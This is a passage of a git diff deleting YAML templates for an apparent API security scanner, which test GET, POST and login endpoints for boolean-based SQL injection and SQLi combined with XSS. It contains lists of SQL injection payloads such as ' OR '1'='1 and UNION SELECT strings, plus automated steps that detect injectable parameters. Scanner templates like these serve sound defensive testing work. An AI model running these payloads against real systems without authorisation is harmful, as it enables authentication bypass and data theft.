- details: " The Boolean-Based SQL Injection Test on GET Method APIs involves injecting boolean expressions into input fields of POST requests to manipulate SQL queries. These expressions, such as `AND 1=1` or `AND 1=2`, trigger different responses depending on the validity of the query, allowing attackers to deduce database information like table names or column structures. This technique works without producing immediate errors, making it harder to detect but still dangerous. Protecting against it requires implementing robust input validation, parameterized queries, and careful handling of database errors."
- impact: "The impact of the Boolean-Based SQL Injection Test on GET Method APIs can be significant, as it allows attackers to slowly extract sensitive data or infer the structure of the database through subtle differences in application responses. While it may not immediately expose data, it can lead to unauthorized access, data leakage, or further exploitation of vulnerabilities. Additionally, attackers can escalate their access by crafting more complex queries based on the information obtained. Proper input sanitization, error handling, and parameterized queries are essential to mitigate such risks."
- category:
- name: NO_AUTH
- shortName: Broken Authentication
- displayName: Broken User Authentication (BUA)
- subCategory: BOOLEAN_BASED_SQLI_GET
- severity: MEDIUM
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md"
- - "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html"
- cwe:
- - CWE-287
- cve:
- - CVE-2020-24008
- - CVE-2021-45901
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: "GET"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- -
- -
-
- query_param:
- for_one:
- key:
- regex: ".*"
- extract: userKey
- value:
- extract: userVal
-wordLists:
- trueCasePayloads:
- - "' OR '1'='1"
- - "\" OR \"1\"=\"1"
- - "') OR ('1'='1"
- - "') OR '1'='1'--"
- - "\" OR \"1\"=\"1\"--"
- - "' OR 1=1--"
- - "\" OR 1=1--"
- - "') OR 1=1--"
- - "') OR ('a'='a"
- - "') OR 'a'='a'--"
- - "\" OR \"a\"=\"a\""
- - "\" OR \"a\"=\"a\"--"
- falseCasePayloads:
- - "' AND '1'='2"
- - "\" AND \"1\"=\"2"
- - "') AND ('1'='2"
- - "') AND '1'='2'--"
- - "\" AND \"1\"=\"2\"--"
- - "' AND 1=2--"
- - "\" AND 1=2--"
- - "') AND 1=2--"
- - "') AND ('a'='b"
- - "') AND 'a'='b'--"
- - "\" AND \"a\"=\"b\""
- - "\" AND \"a\"=\"b\"--"
-execute:
- type: multiple
- requests:
- - req:
- - modify_query_param:
- userKey: ${userVal}${falseCasePayloads}
- - validate:
- or:
- - response_code:
- gte: 400
- lt: 410
- - response_payload:
- not_contains:
- - Error
- - fail
- - invalid
- - expired
- - not found
- - account is locked
- - account is blocked
- - rate-limit
- - rate_limit
- - rate limit
- - multiple failed attempt
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - " AND "
- - " OR "
- - "="
- - "--"
- - success: x2
- - failure: exit
- - req:
- - modify_query_param:
- userKey: ${userVal}${trueCasePayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- neq_obj: "${x1.response.body}"
- not_contains:
- - rate-limit
- - rate limit
- - rate_limit
- - account is locked
- - account is blocked
- - multiple failed attempt
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - " OR "
- - " AND "
- - "="
- - "--"
- - "fail"
- - "invalid"
- -
- -
- - success: x3
- - failure: exit
- - req:
- - add_header:
- dummyHeader: dummyValue
- - modify_query_param:
- userKey: ${userVal}${trueCasePayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- eq_obj: "${x2.response.body}"
- not_contains:
- - rate-limit
- - rate limit
- - rate_limit
- - account is locked
- - account is blocked
- - multiple failed attempt
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - " OR "
- - " AND "
- - "="
- - "--"
- - "fail"
- - "invalid"
- -
- -
- - success: vulnerable
- - failure: exit
diff --git a/Broken-User-Authentication/BooleanBasedSQLiLoginEndpoint.yml b/Broken-User-Authentication/BooleanBasedSQLiLoginEndpoint.yml
deleted file mode 100644
index 37361767..00000000
--- a/Broken-User-Authentication/BooleanBasedSQLiLoginEndpoint.yml
+++ /dev/null
@@ -1,208 +0,0 @@
-id: BOOLEAN_BASED_SQLI
-info:
- name: "Boolean based SQL Injection test on Login Endpoints"
- description: >
- "A Boolean-based SQL Injection test on login endpoints involves manipulating the input fields (such as username and password) with SQL statements that result in true or false conditions. By observing the application's response, testers can infer whether the SQL query execution is being influenced. This method helps in identifying vulnerabilities without retrieving actual data, as it relies on changes in application behavior or error messages."
- details: >
- "Boolean-based SQL Injection testing on login endpoints involves injecting SQL statements into input fields to create conditions that evaluate to true or false. By monitoring the application's responses to these injections, testers can determine if the endpoint is vulnerable to SQL Injection. This technique does not extract data directly but relies on changes in the application's behavior or responses to infer the presence of a vulnerability."
- impact: >
- "The impact of Boolean-based SQL Injection on login endpoints can be severe, potentially allowing unauthorized access to user accounts or administrative functions. If exploited, attackers can bypass authentication mechanisms, access sensitive information, and execute arbitrary SQL commands, leading to data breaches, loss of data integrity, and potential full system compromise. This vulnerability poses a significant threat to the security and privacy of the application's users."
-
- category:
- name: NO_AUTH
- shortName: Broken Authentication
- displayName: Broken User Authentication (BUA)
- subCategory: BOOLEAN_BASED_SQLI
- severity: MEDIUM
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md"
- - "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html"
- cwe:
- - CWE-287
- cve:
- - CVE-2020-24008
- - CVE-2021-45901
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- -
- -
- url:
- contains_either:
- - login
- - signin
- - authenticate
- - auth
- request_payload:
- for_one:
- key:
- regex: "username|^user$|^userid$|^user_id$|^login$|^login_id$|email|^account$|^account_id$|^member$|^member_id$|^id$|user_name|^uname$|^identifier$|^user_identifier$|^admin$|^nick$|^nickname$|^handle$|^alias$|^principal$|^profile$|^profile_id$|^name$|^signin$|^auth$|^credential$|^user_login$|^user_account$|^user_email$|^employee$|^employee_id$|^operator$|^customer_id$|^client_id$|^subscriber$|^subscriber_id$|^participant$|^participant_id$|^client_id$|^userLoginID$|^client-name$"
- extract: userKey
- value:
- extract: userVal
-wordLists:
- trueCasePayloads:
- - "' OR '1'='1"
- - "\" OR \"1\"=\"1"
- - "') OR ('1'='1"
- - "') OR '1'='1'--"
- - "\" OR \"1\"=\"1\"--"
- - "' OR 1=1--"
- - "\" OR 1=1--"
- - "') OR 1=1--"
- - "') OR ('a'='a"
- - "') OR 'a'='a'--"
- - "\" OR \"a\"=\"a\""
- - "\" OR \"a\"=\"a\"--"
- falseCasePayloads:
- - "' AND '1'='2"
- - "\" AND \"1\"=\"2"
- - "') AND ('1'='2"
- - "') AND '1'='2'--"
- - "\" AND \"1\"=\"2\"--"
- - "' AND 1=2--"
- - "\" AND 1=2--"
- - "') AND 1=2--"
- - "') AND ('a'='b"
- - "') AND 'a'='b'--"
- - "\" AND \"a\"=\"b\""
- - "\" AND \"a\"=\"b\"--"
-execute:
- type: multiple
- requests:
- - req:
- - modify_body_param:
- userKey: ${userVal}${falseCasePayloads}
- - validate:
- or:
- - response_code:
- gte: 400
- lt: 410
- - response_payload:
- not_contains:
- - Error
- - fail
- - invalid
- - expired
- - not found
- - account is locked
- - account is blocked
- - rate-limit
- - rate_limit
- - rate limit
- - multiple failed attempt
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - " AND "
- - "="
- - "--"
- - success: x2
- - failure: exit
- - req:
- - modify_body_param:
- userKey: ${userVal}${trueCasePayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- neq_obj: "${x1.response.body}"
- not_contains:
- - rate-limit
- - rate limit
- - rate_limit
- - account is locked
- - account is blocked
- - multiple failed attempt
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - " OR "
- - "="
- - "--"
- - "fail"
- - "invalid"
- -
- -
- - success: x3
- - failure: exit
- - req:
- - add_header:
- dummyHeader: dummyValue
- - modify_body_param:
- userKey: ${userVal}${trueCasePayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- eq_obj: "${x2.response.body}"
- not_contains:
- - rate-limit
- - rate limit
- - rate_limit
- - account is locked
- - account is blocked
- - multiple failed attempt
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - " OR "
- - "="
- - "--"
- - "fail"
- - "invalid"
- -
- -
- - success: vulnerable
- - failure: exit
\ No newline at end of file
diff --git a/Broken-User-Authentication/BooleanBasedSQLiPOST.yml b/Broken-User-Authentication/BooleanBasedSQLiPOST.yml
deleted file mode 100644
index 8142857e..00000000
--- a/Broken-User-Authentication/BooleanBasedSQLiPOST.yml
+++ /dev/null
@@ -1,201 +0,0 @@
-id: BOOLEAN_BASED_SQLI_POST
-info:
- name: "Boolean based SQL Injection test on POST method APIs"
- description: "The Boolean-Based SQL Injection Test on POST Method APIs examines whether an attacker can manipulate SQL queries by injecting boolean expressions (e.g., `AND 1=1` or `AND 1=2`) into POST request parameters. This technique does not return immediate errors but allows attackers to infer information about the database structure based on the application’s response to different inputs. By exploiting the lack of proper input validation, attackers can extract sensitive information or manipulate the database. Proper input sanitization and error handling can help prevent such attacks."
- details: " The Boolean-Based SQL Injection Test on POST Method APIs involves injecting boolean expressions into input fields of POST requests to manipulate SQL queries. These expressions, such as `AND 1=1` or `AND 1=2`, trigger different responses depending on the validity of the query, allowing attackers to deduce database information like table names or column structures. This technique works without producing immediate errors, making it harder to detect but still dangerous. Protecting against it requires implementing robust input validation, parameterized queries, and careful handling of database errors."
- impact: "The impact of the Boolean-Based SQL Injection Test on POST Method APIs can be significant, as it allows attackers to slowly extract sensitive data or infer the structure of the database through subtle differences in application responses. While it may not immediately expose data, it can lead to unauthorized access, data leakage, or further exploitation of vulnerabilities. Additionally, attackers can escalate their access by crafting more complex queries based on the information obtained. Proper input sanitization, error handling, and parameterized queries are essential to mitigate such risks."
- category:
- name: NO_AUTH
- shortName: Broken Authentication
- displayName: Broken User Authentication (BUA)
- subCategory: BOOLEAN_BASED_SQLI_POST
- severity: MEDIUM
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md"
- - "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html"
- cwe:
- - CWE-287
- cve:
- - CVE-2020-24008
- - CVE-2021-45901
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: "POST"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- -
- -
-
- request_payload:
- for_one:
- key:
- regex: ".*"
- extract: userKey
- value:
- extract: userVal
-wordLists:
- trueCasePayloads:
- - "' OR '1'='1"
- - "\" OR \"1\"=\"1"
- - "') OR ('1'='1"
- - "') OR '1'='1'--"
- - "\" OR \"1\"=\"1\"--"
- - "' OR 1=1--"
- - "\" OR 1=1--"
- - "') OR 1=1--"
- - "') OR ('a'='a"
- - "') OR 'a'='a'--"
- - "\" OR \"a\"=\"a\""
- - "\" OR \"a\"=\"a\"--"
- falseCasePayloads:
- - "' AND '1'='2"
- - "\" AND \"1\"=\"2"
- - "') AND ('1'='2"
- - "') AND '1'='2'--"
- - "\" AND \"1\"=\"2\"--"
- - "' AND 1=2--"
- - "\" AND 1=2--"
- - "') AND 1=2--"
- - "') AND ('a'='b"
- - "') AND 'a'='b'--"
- - "\" AND \"a\"=\"b\""
- - "\" AND \"a\"=\"b\"--"
-execute:
- type: multiple
- requests:
- - req:
- - modify_body_param:
- userKey: ${userVal}${falseCasePayloads}
- - validate:
- or:
- - response_code:
- gte: 400
- lt: 410
- - response_payload:
- not_contains:
- - Error
- - fail
- - invalid
- - expired
- - not found
- - account is locked
- - account is blocked
- - rate-limit
- - rate_limit
- - rate limit
- - multiple failed attempt
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - " AND "
- - "="
- - "--"
- - success: x2
- - failure: exit
- - req:
- - modify_body_param:
- userKey: ${userVal}${trueCasePayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- neq_obj: "${x1.response.body}"
- not_contains:
- - rate-limit
- - rate limit
- - rate_limit
- - account is locked
- - account is blocked
- - multiple failed attempt
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - " OR "
- - " AND "
- - "="
- - "--"
- - "fail"
- - "invalid"
- -
- -
- - success: x3
- - failure: exit
- - req:
- - add_header:
- dummyHeader: dummyValue
- - modify_body_param:
- userKey: ${userVal}${trueCasePayloads}
- - validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- eq_obj: "${x2.response.body}"
- not_contains:
- - rate-limit
- - rate limit
- - rate_limit
- - account is locked
- - account is blocked
- - multiple failed attempt
- - Attention Required!
- - CloudFlare
- - Sorry, you have been blocked
- - " OR "
- - " AND "
- - "="
- - "--"
- - "fail"
- - "invalid"
- -
- -
- - success: vulnerable
- - failure: exit
diff --git a/Broken-User-Authentication/BooleanBasedSQLiXSS.yml b/Broken-User-Authentication/BooleanBasedSQLiXSS.yml
deleted file mode 100644
index 478fdb57..00000000
--- a/Broken-User-Authentication/BooleanBasedSQLiXSS.yml
+++ /dev/null
@@ -1,252 +0,0 @@
-id: BOOLEAN_BASED_SQLI_XSS
-info:
- name: "Boolean based SQL Injection Test with XSS"
- description: >
- "Boolean-based SQL Injection testing with XSS involves exploiting vulnerabilities by manipulating Boolean conditions in SQL queries to infer database content. Attackers craft SQL injection payloads that adjust logical conditions to provoke true or false responses, revealing sensitive data. By incorporating XSS payloads, attackers further exploit the injection to execute malicious scripts in the application's output, posing a dual threat of data exposure and client-side script execution. This test helps identify and mitigate combined SQL injection and XSS vulnerabilities in web applications."
- details: >
- "Boolean-based SQL Injection testing with XSS entails crafting SQL injection payloads that exploit Boolean conditions in SQL queries. Attackers manipulate these conditions to extract sensitive data from the database through true or false responses. By injecting XSS payloads into the manipulated queries, attackers can execute malicious scripts in the application's output, potentially compromising users' browsers. This testing method aims to uncover and address vulnerabilities where SQL injection and XSS intersect, ensuring robust application security."
- impact: >
- "The impact of Boolean-based SQL Injection combined with XSS can be significant, allowing attackers to extract sensitive data from the database and execute malicious scripts in the application's output. This dual vulnerability can lead to unauthorized access to confidential information, data theft, and compromise of user sessions. Such attacks pose risks to both the integrity of the application and the security of user interactions, potentially resulting in financial loss, regulatory penalties, and reputational damage to the organization."
-
- category:
- name: NO_AUTH
- shortName: Broken Authentication
- displayName: Broken User Authentication (BUA)
- subCategory: BOOLEAN_BASED_SQLI_XSS
- severity: MEDIUM
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa2-broken-authentication.md"
- - "https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html"
- cwe:
- - CWE-287
- cve:
- - CVE-2020-24008
- - CVE-2021-45901
-
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- url:
- contains_either:
- - login
- - signin
- - authenticate
- - auth
- request_payload:
- for_one:
- key:
- regex: "username|^user$|^userid$|^user_id$|^login$|^login_id$|email|^account$|^account_id$|^member$|^member_id$|^id$|^user_name$|^uname$|^identifier$|^user_identifier$|^admin$|^nick$|^nickname$|^handle$|^alias$|^principal$|^profile$|^profile_id$|^name$|^signin$|^auth$|^credential$|^user_login$|^user_account$|^user_email$|^employee$|^employee_id$|^operator$|^customer_id$|^client_id$|^subscriber$|^subscriber_id$|^participant$|^participant_id$|^client_id$|^userLoginID$|^client-name$"
- extract: userKey
- value:
- extract: userVal
-wordLists:
- booleanXSSPayloads:
- - "' AND 1=1 UNION SELECT null,null,'' --"
- - "' OR 1=1 UNION SELECT null,null,concat('') --"
- - "' AND (SELECT 1 WHERE 1=1 UNION SELECT null,null,'